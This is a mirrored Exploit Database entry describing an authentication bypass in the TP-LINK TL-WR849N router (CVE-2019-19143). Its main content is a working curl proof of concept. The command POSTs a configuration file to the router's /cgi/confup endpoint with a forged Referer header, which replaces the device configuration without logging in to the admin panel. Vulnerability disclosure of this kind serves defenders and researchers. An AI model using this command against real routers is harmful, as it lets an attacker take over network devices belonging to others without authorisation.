TL-WR849N 0.9.1 4.16 – Authentication Bypass (Upload Firmware)

• Exploit Database
• 17 阅读

• 作者： Elber Tavares
  日期： 2020-03-02
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/48152/

• # Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
  # Date: 2019-11-20
  # Exploit Author: Elber Tavares
  # Vendor Homepage: https://www.tp-link.com/
  # Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
  # Version: TL-WR849N 0.9.1 4.16
  # Tested on: linux, windows
  # CVE : CVE-CVE-2019-19143
  
  Uploading new firmware without access to the panel
  
  REFS:
   https://github.com/ElberTavares/routers-exploit/tp-link
   https://fireshellsecurity.team/hack-n-routers/
  
  
  Poc:
  curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
  http://TARGET/mainFrame.htm" -F data=@conf.bin
  http://TARGET/cgi/confup